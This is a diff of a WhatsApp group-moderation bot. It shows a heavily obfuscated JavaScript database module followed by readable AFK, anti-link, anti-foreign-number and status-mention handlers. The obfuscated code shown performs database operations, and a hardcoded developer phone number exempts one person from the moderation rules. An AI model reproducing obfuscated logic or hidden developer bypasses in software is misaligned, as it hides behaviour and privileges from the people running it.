_0x511839/_0x34d896;},'fLvps':function(_0x48ae80,_0x28bb7b){return _0x48ae80*_0x28bb7b;},'lHoXn':function(_0xb86c15,_0x5b90fd){return _0xb86c15===_0x5b90fd;},'wUCqm':_0x58a723(0x25b)+_0x58a723(0x12d)+_0x58a723(0x19f)+_0x58a723(0x3af)+_0x58a723(0x146)+_0x58a723(0x351),'mdKpT':function(_0x3ceedd,_0x8e0b25){return _0x3ceedd===_0x8e0b25;},'pHJnJ':_0x58a723(0xac),'tDINE':_0x58a723(0x25b)+_0x58a723(0x12d)+_0x58a723(0x19f)+_0x58a723(0x3af)+_0x58a723(0x146)+'\x20?'},_0x42e93d=_0x593ec5[_0x58a723(0x295)](Math[_0x58a723(0x249)](_0x593ec5[_0x58a723(0x20a)](Date[_0x58a723(0x369)](),0x8cc*0x2+-0x13b1*0x1+0x1*0x601)),_0x593ec5[_0x58a723(0x2e7)](_0x29cbb0,0x2077+-0x11c*-0xd+-0x20d3));if(_0x593ec5[_0x58a723(0x1e8)](_backend,'pg'))_pg[_0x58a723(0x10e)](_0x593ec5[_0x58a723(0x36a)],[_0x42e93d])[_0x58a723(0x3d5)](()=>{});else{if(_0x593ec5[_0x58a723(0x1ad)](_backend,_0x593ec5[_0x58a723(0x318)]))_mem[_0x58a723(0x2ee)]=_mem[_0x58a723(0x2ee)][_0x58a723(0x353)](_0x4c98bd=>(_0x4c98bd[_0x58a723(0x220)]||0x173f*-0x1+-0x56*-0x60+-0x901)>_0x42e93d);else{if(_db)try{_db[_0x58a723(0x377)](_0x593ec5[_0x58a723(0x297)])[_0x58a723(0x158)](_0x42e93d);}catch{}}}}async function getWarnCount(_0x5a5e6c,_0xae4ebd){const _0x4b763a=_0x598bbe,_0x2b90d1={'qgXxQ':function(_0x236b44,_0x161e24,_0x342e42,_0x2a7fbd){return _0x236b44(_0x161e24,_0x342e42,_0x2a7fbd);},'jgYSG':_0x4b763a(0x253)+_0x4b763a(0xe2)+_0x4b763a(0x279)+_0x4b763a(0x296)+_0x4b763a(0x192)+_0x4b763a(0x1ef),'lkzCz':_0x4b763a(0x253)+_0x4b763a(0xe2)+_0x4b763a(0x279)+_0x4b763a(0x296)+_0x4b763a(0x356)+_0x4b763a(0x236)},_0x208774=await _0x2b90d1[_0x4b763a(0x3a3)](qGet,_0x2b90d1[_0x4b763a(0xc1)],_0x2b90d1[_0x4b763a(0x349)],[_0x5a5e6c,_0xae4ebd]);return _0x208774?_0x208774[_0x4b763a(0x199)]:0x3b*0x23+-0x6b5+-0x15c;}async function addWarn(_0x1416ef,_0x3837c1){const _0x5e0210=_0x598bbe,_0x2605a9={'ykThh':function(_0x2eeba4){return _0x2eeba4();},'RbeKg':function(_0x5c588c,_0xf7aa8c){return _0x5c588c===_0xf7aa8c;},'XiEex':_0x5e0210(0x29e)+_0x5e0210(0x19d)+_0x5e0210(0x362)+_0x5e0210(0x3c0)+_0x5e0210(0x3d1)+_0x5e0210(0x208)+_0x5e0210(0x332)+_0x5e0210(0x2fc)+_0x5e0210(0x2de)+_0x5e0210(0x366)+_0x5e0210(0x11c)+_0x5e0210(0x2ed)+_0x5e0210(0x3cf)+_0x5e0210(0x126)+_0x5e0210(0x199),'ifGCI':function(_0x6372e6,_0x5a63ef,_0x559a2f,_0x301b5b){return _0x6372e6(_0x5a63ef,_0x559a2f,_0x301b5b);},'NETrj':_0x5e0210(0x253)+_0x5e0210(0xe2)+_0x5e0210(0x279)+_0x5e0210(0x296)+_0x5e0210(0x192)+_0x5e0210(0x1ef),'StCGG':_0x5e0210(0x253)+_0x5e0210(0xe2)+_0x5e0210(0x279)+_0x5e0210(0x296)+_0x5e0210(0x10f)+_0x5e0210(0x3ac),'sKSpq':_0x5e0210(0x1a8)+_0x5e0210(0x32a)+_0x5e0210(0x215)+_0x5e0210(0x23c)+_0x5e0210(0x29b)+_0x5e0210(0xff)+_0x5e0210(0x313),'JkhCT':_0x5e0210(0x1a8)+_0x5e0210(0x32a)+_0x5e0210(0x215)+_0x5e0210(0x23c)+_0x5e0210(0x29b)+_0x5e0210(0x190)+_0x5e0210(0x267),'xHycV':function(_0x364cc3,_0x41ca46){return _0x364cc3+_0x41ca46;},'CGrys':function(_0x5e2730,_0x2a50b1,_0x3f36df,_0x18c98a){return _0x5e2730(_0x2a50b1,_0x3f36df,_0x18c98a);},'VcyYl':_0x5e0210(0x29e)+_0x5e0210(0x19d)+_0x5e0210(0x13b)+_0x5e0210(0x311)+_0x5e0210(0x25c)+_0x5e0210(0x294),'QfZZx':_0x5e0210(0x29e)+_0x5e0210(0x19d)+_0x5e0210(0x362)+_0x5e0210(0x3c0)+_0x5e0210(0x3d1)+_0x5e0210(0x208)+')','ukQUT':_0x5e0210(0x3c7)+']:'};try{await _0x2605a9[_0x5e0210(0x1e1)](ensureReady);if(_0x2605a9[_0x5e0210(0x3a5)](_backend,'pg')){const _0x1245bd=await _pg[_0x5e0210(0x10e)](_0x2605a9[_0x5e0210(0x20f)],[_0x1416ef,_0x3837c1]);return _0x1245bd[_0x5e0210(0x18e)][-0x54f+-0x1e2e+0x237d]?.[_0x5e0210(0x199)]||-0x748*-0x1+-0x212+-0x535;}const _0x5bbfa6=await _0x2605a9[_0x5e0210(0xf5)](qGet,_0x2605a9[_0x5e0210(0x31d)],_0x2605a9[_0x5e0210(0x3d2)],[_0x1416ef,_0x3837c1]);if(_0x5bbfa6)return await _0x2605a9[_0x5e0210(0xf5)](qRun,_0x2605a9[_0x5e0210(0x384)],_0x2605a9[_0x5e0210(0x21a)],[_0x1416ef,_0x3837c1]),_0x2605a9[_0x5e0210(0x135)](_0x5bbfa6[_0x5e0210(0x199)],-0x3bf*-0xa+-0x952+0x7*-0x405);return await _0x2605a9[_0x5e0210(0x1c3)](qRun,_0x2605a9[_0x5e0210(0x2d8)],_0x2605a9[_0x5e0210(0x2dc)],[_0x1416ef,_0x3837c1]),0x6d8*0x1+-0x93c+0x265;}catch(_0x505f85){return console[_0x5e0210(0x2c1)](_0x2605a9[_0x5e0210(0x2f1)],_0x505f85[_0x5e0210(0x271)]),0x5*-0x2cf+-0x538*-0x7+0x65*-0x39;}}async function resetWarn(_0x3470d7,_0x593751){const _0x13c0af=_0x598bbe,_0x4f8f0b={'jVGtR':function(_0x2fdbd4,_0x34b49b,_0x1a2211,_0x9f4de3){return _0x2fdbd4(_0x34b49b,_0x1a2211,_0x9f4de3);},'tQpoT':_0x13c0af(0x25b)+_0x13c0af(0x156)+_0x13c0af(0x290)+_0x13c0af(0x2be)+_0x13c0af(0x247),'uKBkF':_0x13c0af(0x25b)+_0x13c0af(0x156)+_0x13c0af(0x290)+_0x13c0af(0x1f8)+_0x13c0af(0x17d)+'$2'};await _0x4f8f0b[_0x13c0af(0x140)](qRun,_0x4f8f0b[_0x13c0af(0x3bc)],_0x4f8f0b[_0x13c0af(0x35c)],[_0x3470d7,_0x593751]);}async function setWarnLimit(_0x4ffd63,_0x34009e){const _0x3ab40b=_0x598bbe,_0x2ca29d={'Znfoy':function(_0x13fe76,_0x5da948,_0x3b3305,_0x4f3ab0){return _0x13fe76(_0x5da948,_0x3b3305,_0x4f3ab0);},'hDSuR':_0x3ab40b(0x1e9),'xYyzJ':function(_0x400293,_0x57af0f){return _0x400293(_0x57af0f);}};await _0x2ca29d[_0x3ab40b(0x266)](updateGroupSetting,_0x4ffd63,_0x2ca29d[_0x3ab40b(0xf4)],_0x2ca29d[_0x3ab40b(0x2f5)](parseInt,_0x34009e)||-0x17ae+-0x18a*0x1+0x193b);}async function getWarnLimit(_0x4ff721){const _0x4da1c1=_0x598bbe,_0x2f6163={'vsdpV':function(_0x49f7ef,_0x3c8e1d){return _0x49f7ef(_0x3c8e1d);}},_0x1d8b0a=await _0x2f6163[_0x4da1c1(0x1ba)](getGroupSettings,_0x4ff721);return _0x1d8b0a[_0x4da1c1(0x1e9)]||0xaf*0x1a+0x5*-0x56f+0x4*0x25a;}async function saveMessage(_0x4a7985,_0x15dfe3,_0x26620b,_0x342956){const _0x4607ae=_0x598bbe,_0x1fe3fc={'UkJnv':function(_0x1ea1d5,_0xd5ab4c,_0x2dfe50,_0x433d2c){return _0x1ea1d5(_0xd5ab4c,_0x2dfe50,_0x433d2c);},'nTGJw':_0x4607ae(0x17f)+_0x4607ae(0x1dd)+_0x4607ae(0x36d)+_0x4607ae(0x2e2)+_0x4607ae(0x284)+_0x4607ae(0x16f)+_0x4607ae(0x1ae)+_0x4607ae(0x25c)+_0x4607ae(0x254)+_0x4607ae(0x166),'ACRbR':_0x4607ae(0x29e)+_0x4607ae(0xb1)+_0x4607ae(0x1b9)+_0x4607ae(0x1b8)+_0x4607ae(0x331)+_0x4607ae(0x24b)+_0x4607ae(0x1fb)+_0x4607ae(0x2ec)+_0x4607ae(0x2a5)+_0x4607ae(0x200)+_0x4607ae(0x125)+_0x4607ae(0x18f)+_0x4607ae(0x1a6)+_0x4607ae(0x1df)+_0x4607ae(0x35e)+'$5','MBeGW':function(_0xb26a71,_0x1d001a){return _0xb26a71||_0x1d001a;}};await _0x1fe3fc[_0x4607ae(0x150)](qRun,_0x1fe3fc[_0x4607ae(0x1e4)],_0x1fe3fc[_0x4607ae(0x151)],[_0x4a7985,_0x15dfe3,_0x1fe3fc[_0x4607ae(0x1c9)](_0x26620b,''),JSON[_0x4607ae(0x235)](_0x342956),Date[_0x4607ae(0x369)]()]);}async function getMessage(_0x478460){const _0x2b06c3=_0x598bbe,_0xda7f0c={'TUzGe':function(_0x5e9872,_0x2ae041,_0xee6b29,_0x570165){return _0x5e9872(_0x2ae041,_0xee6b29,_0x570165);},'VlJwb':_0x2b06c3(0x27f)+_0x2b06c3(0x22b)+_0x2b06c3(0x39b)+_0x2b06c3(0x23b)+_0x2b06c3(0x1f0),'vGfyK':_0x2b06c3(0x27f)+_0x2b06c3(0x22b)+_0x2b06c3(0x39b)+_0x2b06c3(0x3cb)+_0x2b06c3(0x174)},_0x19709d=await _0xda7f0c[_0x2b06c3(0xda)](qGet,_0xda7f0c[_0x2b06c3(0xd8)],_0xda7f0c[_0x2b06c3(0x2bf)],[_0x478460]);if(!_0x19709d)return null;try{return{'id':_0x19709d['id'],'jid':_0x19709d[_0x2b06c3(0x3dd)],'sender':_0x19709d[_0x2b06c3(0x1cb)],'message':JSON[_0x2b06c3(0x114)](_0x19709d[_0x2b06c3(0x271)]),'timestamp':_0x19709d[_0x2b06c3(0x220)]};}catch{return null;}}function _0x33d2(_0x3cf5a0,_0xb4c769){_0x3cf5a0=_0x3cf5a0-(0x2*0xb76+-0x1*0x7b7+-0xe8e);const _0x14ff42=_0x309c();let _0x2a596e=_0x14ff42[_0x3cf5a0];return _0x2a596e;}async function deleteMessage(_0x19e4f4,_0x3342b2){const _0x2c4499=_0x598bbe,_0x7d6863={'zDdHk':function(_0x4cd2ab,_0x241751,_0x19a031,_0x315281){return _0x4cd2ab(_0x241751,_0x19a031,_0x315281);},'vKkoC':_0x2c4499(0x25b)+_0x2c4499(0xc7)+_0x2c4499(0x2bc)+_0x2c4499(0x1fa)+_0x2c4499(0xea),'MEbte':_0x2c4499(0x25b)+_0x2c4499(0xc7)+_0x2c4499(0x2bc)+_0x2c4499(0x127)+_0x2c4499(0x371)};await _0x7d6863[_0x2c4499(0x389)](qRun,_0x7d6863[_0x2c4499(0x21c)],_0x7d6863[_0x2c4499(0x323)],[_0x19e4f4,_0x3342b2]);}async function cleanupOldMsgStore(_0x7bc6bd=(0x975+0x1ec1+-0x282a)*(0x210b+0x1*0x1cd7+0x4be*-0xd)*(-0x1*-0x71f+0x375+-0xa58)*(0x2c5*0x1+-0x182c+0x194f)){const _0x59426c=_0x598bbe,_0x13dedf={'RxSaN':function(_0x527b0f,_0x4fc080){return _0x527b0f-_0x4fc080;},'dHrIb':function(_0x18ad33,_0x580006,_0x465896,_0x3eedd6){return _0x18ad33(_0x580006,_0x465896,_0x3eedd6);},'hbtHk':_0x59426c(0x25b)+_0x59426c(0xc7)+_0x59426c(0x1ec)+_0x59426c(0x289)+'?','Argaq':_0x59426c(0x25b)+_0x59426c(0xc7)+_0x59426c(0x1ec)+_0x59426c(0x289)+'$1'},_0x5a7056=_0x13dedf[_0x59426c(0x111)](Date[_0x59426c(0x369)](),_0x7bc6bd);await _0x13dedf[_0x59426c(0x179)](qRun,_0x13dedf[_0x59426c(0x2f8)],_0x13dedf[_0x59426c(0x1d2)],[_0x5a7056]);}setInterval(()=>cleanupOldMsgStore(),(0xd59+-0xb56+0x1*-0x1f7)*(-0x1914+0x1794*-0x1+0x30e4)*(0x26bf+-0x5bb+-0x20c8)*(0x95*0x2b+-0x1*-0x249b+-0x9*0x66a)),setInterval(()=>clearOldConversationHistory(-0xf91+0x213*-0x6+0x1c04),(0x5d*-0xc+-0x20a7+-0x773*-0x5)*(0x988+-0x1da1+0x1455)*(0x9e*0x1b+-0x53e+-0x4*0x1e1));async function mapLidToPhone(_0x54a44c,_0x5f2318){const _0x5f1a26=_0x598bbe,_0x116006={'oGSCo':function(_0x127766,_0x43866a){return _0x127766||_0x43866a;},'bbSvA':function(_0x43905f,_0x207a77,_0x1fb762,_0x2e1390){return _0x43905f(_0x207a77,_0x1fb762,_0x2e1390);},'qPCwY':_0x5f1a26(0x17f)+_0x5f1a26(0x1dd)+_0x5f1a26(0x2ac)+_0x5f1a26(0x19b)+_0x5f1a26(0x38f)+_0x5f1a26(0x348),'BDTSV':_0x5f1a26(0x29e)+_0x5f1a26(0x129)+_0x5f1a26(0x241)+_0x5f1a26(0x207)+_0x5f1a26(0xfc)+_0x5f1a26(0x2d1)+_0x5f1a26(0x317)+_0x5f1a26(0x1c2)+_0x5f1a26(0x26d)+_0x5f1a26(0x12b)};if(_0x116006[_0x5f1a26(0x1f9)](!_0x54a44c,!_0x5f2318))return;await _0x116006[_0x5f1a26(0x320)](qRun,_0x116006[_0x5f1a26(0x10d)],_0x116006[_0x5f1a26(0x119)],[_0x54a44c,_0x5f2318]);}async function getPhoneFromLid(_0x57f383){const _0x182a45=_0x598bbe,_0x2a7fb1={'ZetqL':function(_0x132120,_0x2af0be,_0x10106d,_0x442a30){return _0x132120(_0x2af0be,_0x10106d,_0x442a30);},'YkWwy':_0x182a45(0x153)+_0x182a45(0xfb)+_0x182a45(0x3a2)+_0x182a45(0xd4)+_0x182a45(0x378),'Evhdy':_0x182a45(0x153)+_0x182a45(0xfb)+_0x182a45(0x3a2)+_0x182a45(0xd4)+_0x182a45(0x1e7)};if(!_0x57f383)return null;const _0x36949e=await _0x2a7fb1[_0x182a45(0xb7)](qGet,_0x2a7fb1[_0x182a45(0x2b0)],_0x2a7fb1[_0x182a45(0x306)],[_0x57f383]);return _0x36949e?.[_0x182a45(0x38c)]||null;}export{getBackend,registerSettingsListener,registerSudoListener,registerBannedListener,initializeDatabase,getSettings,updateSetting,getGroupSettings,updateGroupSetting,banUser,unbanUser,getBannedUsers,addSudoUser,removeSudoUser,getSudoUsers,getAllowedUsers,addAllowedUser,removeAllowedUser,getConversationHistory,addConversationMessage,clearConversationHistory,clearOldConversationHistory,getWarnCount,addWarn,resetWarn,setWarnLimit,getWarnLimit,saveMessage,getMessage,deleteMessage,cleanupOldMsgStore,mapLidToPhone,getPhoneFromLid};export{_db as db};
FEE-XMD-main/ecosystem.config.cjs ADDED
@@ -0,0 +1,8 @@
 
 
 
 
 
 
 
 
 
1
+ module.exports = {
2
+ apps: [{
3
+ name: 'fee-v7',
4
+ script: 'index.js',
5
+ interpreter: 'node',
6
+ node_args: '--experimental-specifier-resolution=node'
7
+ }]
8
+ };
FEE-XMD-main/features/afk.js ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ const afkMap = new Map();
2
+
3
+ export default async (client, m) => {
4
+ if (!m || !m.sender) return;
5
+ const senderNum = m.sender.split('@')[0].split(':')[0];
6
+
7
+ if (afkMap.has(senderNum)) {
8
+ const { reason, time } = afkMap.get(senderNum);
9
+ const mins = Math.floor((Date.now() - time) / 60000);
10
+ afkMap.delete(senderNum);
11
+ try {
12
+ await client.sendMessage(m.chat, {
13
+ text: `╭━━━ᕙ FEE-XMD ᕗ━━━\n├━━━≫ BACK ONLINE ≪━━━\n├ @${senderNum} finally crawled back.\n├ Was AFK for ${mins} min${mins !== 1 ? 's' : ''}.\n╰━━━━━━━━━━━━━━━━ᕗ\n> ©𝖕𝖔𝖜𝖊𝖗𝖊𝖉 𝖇𝖞 𝖋𝖗𝖊𝖉𝖎_𝖊𝖟𝖗𝖆`,
14
+ mentions: [m.sender]
15
+ });
16
+ } catch {}
17
+ return;
18
+ }
19
+
20
+ const mentions = m.message?.extendedTextMessage?.contextInfo?.mentionedJid ||
21
+ m.message?.imageMessage?.contextInfo?.mentionedJid ||
22
+ m.message?.videoMessage?.contextInfo?.mentionedJid || [];
23
+ for (const jid of mentions) {
24
+ const num = jid.split('@')[0].split(':')[0];
25
+ if (afkMap.has(num)) {
26
+ const { reason, time } = afkMap.get(num);
27
+ const mins = Math.floor((Date.now() - time) / 60000);
28
+ try {
29
+ await client.sendMessage(m.chat, {
30
+ text: `╭━━━ᕙ FEE-XMD ᕗ━━━\n├━━━≫ AFK ALERT ≪━━━\n├ @${num} is currently ghosting everyone.\n├ Reason: ${reason || 'none given 💀'}\n├ Since: ${mins} min${mins !== 1 ? 's' : ''} ago\n╰━━━━━━━━━━━━━━━━ᕗ\n> ©𝖕𝖔𝖜𝖊𝖗𝖊𝖉 𝖇𝖞 𝖋𝖗𝖊𝖉𝖎_𝖊𝖟𝖗𝖆`,
31
+ mentions: [jid, m.sender]
32
+ });
33
+ } catch {}
34
+ }
35
+ }
36
+ };
37
+
38
+ export const setAfk = (num, reason) => afkMap.set(num, { reason, time: Date.now() });
39
+ export const removeAfk = (num) => afkMap.delete(num);
40
+ export const isAfk = (num) => afkMap.has(num);
FEE-XMD-main/features/antiforeign.js ADDED
@@ -0,0 +1,70 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { getGroupSettings } from '../database/config.js';
2
+ import { resolveTargetJid } from '../lib/lidResolver.js';
3
+
4
+ const DEV_NUMBER = '255752593977';
5
+
6
+ const cleanNum = (jid) => (jid || '').split('@')[0].split(':')[0].replace(/\D/g, '');
7
+
8
+ const _pNum = (p) => {
9
+ if (typeof p === 'string') return cleanNum(p);
10
+ const phone = p.phoneNumber || p.phone_number || '';
11
+ if (phone) return cleanNum(phone);
12
+ const base = p.id || p.jid || '';
13
+ if (base && !base.endsWith('@lid')) return cleanNum(base);
14
+ return cleanNum(p.lid || base);
15
+ };
16
+
17
+ const extractJid = (p) => {
18
+ if (typeof p === 'string') return p;
19
+ if (!p) return '';
20
+ const phone = p.phoneNumber || p.phone_number || '';
21
+ if (phone) return typeof phone === 'string' && phone.includes('@') ? phone : phone + '@s.whatsapp.net';
22
+ return p.id || p.jid || '';
23
+ };
24
+
25
+ export default async (client, event) => {
26
+ try {
27
+ if (!event || event.action !== 'add') return;
28
+
29
+ const groupSettings = await getGroupSettings(event.id);
30
+ if (!groupSettings?.antiforeign) return;
31
+
32
+ const metadata = await client.groupMetadata(event.id);
33
+ const botRaw = client.decodeJid ? client.decodeJid(client.user.id) : (client.user?.id || '');
34
+ const botNum = cleanNum(botRaw);
35
+
36
+ const isBotAdmin = metadata.participants.some(p => {
37
+ return _pNum(p) === botNum && (p.admin === 'admin' || p.admin === 'superadmin');
38
+ });
39
+
40
+ if (!isBotAdmin) return;
41
+
42
+ const BOT_COUNTRY_CODE = botNum.slice(0, 3);
43
+
44
+ for (const participant of event.participants) {
45
+ const participantJid = extractJid(participant);
46
+ if (!participantJid) continue;
47
+
48
+ const resolvedJid = resolveTargetJid(participantJid, metadata.participants);
49
+ if (!resolvedJid) continue; // can't resolve LID, skip safely
50
+
51
+ const pNum = cleanNum(resolvedJid);
52
+ if (!pNum) continue;
53
+ if (pNum === DEV_NUMBER) continue;
54
+ if (pNum === botNum) continue;
55
+
56
+ const isForeign = !pNum.startsWith(BOT_COUNTRY_CODE.slice(0, 2));
57
+ if (isForeign) {
58
+ try {
59
+ await client.groupParticipantsUpdate(event.id, [resolvedJid], 'remove');
60
+ await client.sendMessage(event.id, {
61
+ text: `╭━━━ᕙ FEE-XMD ᕗ━━━\n├━━━≫ ANTIFOREIGN ≪━━━\n├ \n├ 🚫 @${pNum} was removed.\n├ Foreign numbers not allowed here!\n╰━━━━━━━━━━━━━━━━ᕗ\n> ©𝖕𝖔𝖜𝖊𝖗𝖊𝖉 𝖇𝖞 𝖋𝖗𝖊𝖉𝖎_𝖊𝖟𝖗𝖆`,
62
+ mentions: [resolvedJid]
63
+ });
64
+ } catch {}
65
+ }
66
+ }
67
+ } catch (err) {
68
+ console.error('[ANTIFOREIGN] Error:', err.message);
69
+ }
70
+ };
FEE-XMD-main/features/antilink.js ADDED
@@ -0,0 +1,116 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { getGroupSettings, addWarn, resetWarn, getWarnLimit } from '../database/config.js';
2
+ import { resolveTargetJid } from '../lib/lidResolver.js';
3
+
4
+ const DEV_NUMBER = '255752593977';
5
+
6
+ const _num = (jid) => (jid || '').split('@')[0].split(':')[0].replace(/\D/g, '');
7
+
8
+ const _pNum = (p) => {
9
+ const phone = p.phoneNumber || p.phone_number || '';
10
+ if (phone) return _num(phone);
11
+ const base = p.id || p.jid || '';
12
+ if (base && !base.endsWith('@lid')) return _num(base);
13
+ return _num(p.lid || base);
14
+ };
15
+
16
+ const isDevJid = (jid) => _num(jid) === DEV_NUMBER;
17
+
18
+ export default async (client, m) => {
19
+ try {
20
+ if (!m || !m.chat || !m.chat.endsWith('@g.us')) return;
21
+ if (m.key?.fromMe) return;
22
+ if (isDevJid(m.sender)) return;
23
+
24
+ const groupSettings = await getGroupSettings(m.chat);
25
+ const antilinkMode = (groupSettings.antilink || 'off').toLowerCase();
26
+ if (antilinkMode === 'off') return;
27
+
28
+ const msg = m.message || {};
29
+ const innerMsg = msg.extendedTextMessage || msg.imageMessage || msg.videoMessage ||
30
+ msg.documentMessage || msg.audioMessage || msg.stickerMessage || null;
31
+ const contextInfo = (typeof innerMsg === 'object' && innerMsg?.contextInfo) || msg.contextInfo || null;
32
+ const isForwarded = contextInfo?.isForwarded === true;
33
+ const forwardingScore = contextInfo?.forwardingScore || 0;
34
+ const originJid = contextInfo?.remoteJid || '';
35
+ const isChannelForward = isForwarded && (forwardingScore >= 1 || originJid.endsWith('@newsletter'));
36
+
37
+ const text = (m.text || msg.conversation || msg.extendedTextMessage?.text ||
38
+ msg.imageMessage?.caption || msg.videoMessage?.caption ||
39
+ msg.documentMessage?.caption || '').toLowerCase();
40
+ const urlRegex = /(https?:\/\/[^\s]+|www\.[^\s]+|[a-z0-9.-]+\.[a-z]{2,6}(\/[^\s]*)?)/gi;
41
+ const hasPreview = msg.extendedTextMessage?.matchedText || msg.extendedTextMessage?.canonicalUrl;
42
+ const hasLink = urlRegex.test(text) || !!hasPreview;
43
+
44
+ if (!isChannelForward && !hasLink) return;
45
+
46
+ const groupMetadata = await client.groupMetadata(m.chat);
47
+ const sender = resolveTargetJid(m.sender, groupMetadata.participants);
48
+
49
+
50
+ if (!sender) {
51
+ return;
52
+ }
53
+
54
+ const senderNum = _num(sender);
55
+ const botRaw = client.decodeJid ? client.decodeJid(client.user.id) : (client.user?.id || '');
56
+ const botNum = _num(botRaw);
57
+
58
+ const isAdmin = groupMetadata.participants.some(p => {
59
+ return _pNum(p) === senderNum && (p.admin === 'admin' || p.admin === 'superadmin');
60
+ });
61
+ const isBotAdmin = groupMetadata.participants.some(p => {
62
+ return _pNum(p) === botNum && (p.admin === 'admin' || p.admin === 'superadmin');
63
+ });
64
+
65
+
66
+
67
+ const reason = isChannelForward ? '📡 Channel forward' : '🔗 Link detected';
68
+
69
+ try {
70
+ await client.sendMessage(m.chat, {
71
+ delete: {
72
+ remoteJid: m.chat,
73
+ fromMe: false,
74
+ id: m.key.id,
75
+ participant: m.key.participant || m.sender
76
+ }
77
+ });
78
+ } catch (e) {
79
+ }
80
+
81
+ const username = senderNum || sender.split('@')[0];
82
+
83
+ if (antilinkMode === 'kick') {
84
+ try {
85
+ await client.groupParticipantsUpdate(m.chat, [sender], 'remove');
86
+ await client.sendMessage(m.chat, {
87
+ text: `╭━━━ᕙ *Fee-Xmd Antilink* ᕗ━━━\n├ 🚨 @${username} KICKED!\n├ Reason: ${reason}\n├ Kick mode — zero tolerance. 😈\n╰━━━━━━━━━━━━━━━━ᕗ\n> ©𝖕𝖔𝖜𝖊𝖗𝖊𝖉 𝖇𝖞 𝖋𝖗𝖊𝖉𝖎_𝖊𝖟𝖗𝖆`,
88
+ mentions: [sender]
89
+ });
90
+ } catch (e) {
91
+ }
92
+ return;
93
+ }
94
+
95
+ const MAX_WARNS = await getWarnLimit(m.chat);
96
+ const newCount = await addWarn(m.chat, username);
97
+ const remaining = MAX_WARNS - newCount;
98
+
99
+ if (newCount >= MAX_WARNS) {
100
+ await resetWarn(m.chat, username);
101
+ try { await client.groupParticipantsUpdate(m.chat, [sender], 'remove'); } catch {}
102
+ await client.sendMessage(m.chat, {
103
+ text: `╭━━━ᕙ *Fee-Xmd Antilink* ᕗ━━━\n├ 🚨 @${username} KICKED!\n├ Reason: ${reason}\n├ Warns: ${newCount}/${MAX_WARNS}\n├ That's it. Get out. 😈\n├ Warn count wiped clean.\n╰━━━━━━━━━━━━━━━━ᕗ\n> ©𝖕𝖔𝖜𝖊𝖗𝖊𝖉 𝖇𝖞 𝖋𝖗𝖊𝖉𝖎_𝖊𝖟𝖗𝖆`,
104
+ mentions: [sender]
105
+ });
106
+ return;
107
+ }
108
+
109
+ await client.sendMessage(m.chat, {
110
+ text: `╭━━━ᕙ *Fee-Xmd Antilink* ᕗ━━━\n├ ⚠️ @${username}, warned!\n├ Reason: ${reason}\n├ Message deleted.\n├ Warns: ${newCount}/${MAX_WARNS}\n├ ${remaining} more and you're GONE. 😈\n╰━━━━━━━━━━━━━━━━ᕗ\n> ©𝖕𝖔𝖜𝖊𝖗𝖊𝖉 𝖇𝖞 𝖋𝖗𝖊𝖉𝖎_𝖊𝖟𝖗𝖆`,
111
+ mentions: [sender]
112
+ });
113
+ } catch (err) {
114
+ console.error('[ANTILINK] Error:', err.message);
115
+ }
116
+ };
FEE-XMD-main/features/antistatusmention.js ADDED
@@ -0,0 +1,114 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { getGroupSettings, addWarn, resetWarn, getWarnLimit } from '../database/config.js';
2
+ import { resolveTargetJid } from '../lib/lidResolver.js';
3
+
4
+ const fmt = (msg) => `╭━━━ᕙ FEE-XMD ᕗ━━━\n├ ${msg}\n╰━━━━━━━━━━━━━━━━ᕗ\n> ©𝖕𝖔𝖜𝖊𝖗𝖊𝖉 𝖇𝖞 𝖋𝖗𝖊𝖉𝖎_𝖊𝖟𝖗𝖆`;
5
+
6
+ const _num = (jid) => (jid || '').split('@')[0].split(':')[0].replace(/\D/g, '');
7
+
8
+ const _pNum = (p) => {
9
+ const phone = p.phoneNumber || p.phone_number || '';
10
+ if (phone) return _num(phone);
11
+ const base = p.id || p.jid || '';
12
+ if (base && !base.endsWith('@lid')) return _num(base);
13
+ return _num(p.lid || base); // fallback: LID number (not a phone, but best we have)
14
+ };
15
+
16
+ export default async (client, m) => {
17
+ try {
18
+ if (!m?.message) return;
19
+ if (m.key.fromMe) return;
20
+ if (!m.isGroup) return;
21
+ if (m.mtype !== 'groupStatusMentionMessage') return;
22
+
23
+ const groupSettings = await getGroupSettings(m.chat);
24
+ const mode = (groupSettings.antistatusmention || 'off').toLowerCase();
25
+ if (!mode || mode === 'off' || mode === 'false') return;
26
+
27
+ const groupMetadata = await client.groupMetadata(m.chat);
28
+ const sender = resolveTargetJid(m.sender, groupMetadata.participants);
29
+
30
+
31
+ if (!sender) {
32
+ return;
33
+ }
34
+
35
+ const senderNum = _num(sender);
36
+ const botRaw = client.decodeJid ? client.decodeJid(client.user.id) : (client.user?.id || '');
37
+ const botNum = _num(botRaw);
38
+
39
+ const isAdmin = groupMetadata.participants.some(p => {
40
+ return _pNum(p) === senderNum && (p.admin === 'admin' || p.admin === 'superadmin');
41
+ });
42
+ const isBotAdmin = groupMetadata.participants.some(p => {
43
+ return _pNum(p) === botNum && (p.admin === 'admin' || p.admin === 'superadmin');
44
+ });
45
+
46
+
47
+ const username = senderNum || sender.split('@')[0];
48
+
49
+ if (isAdmin) {
50
+ await client.sendMessage(m.chat, {
51
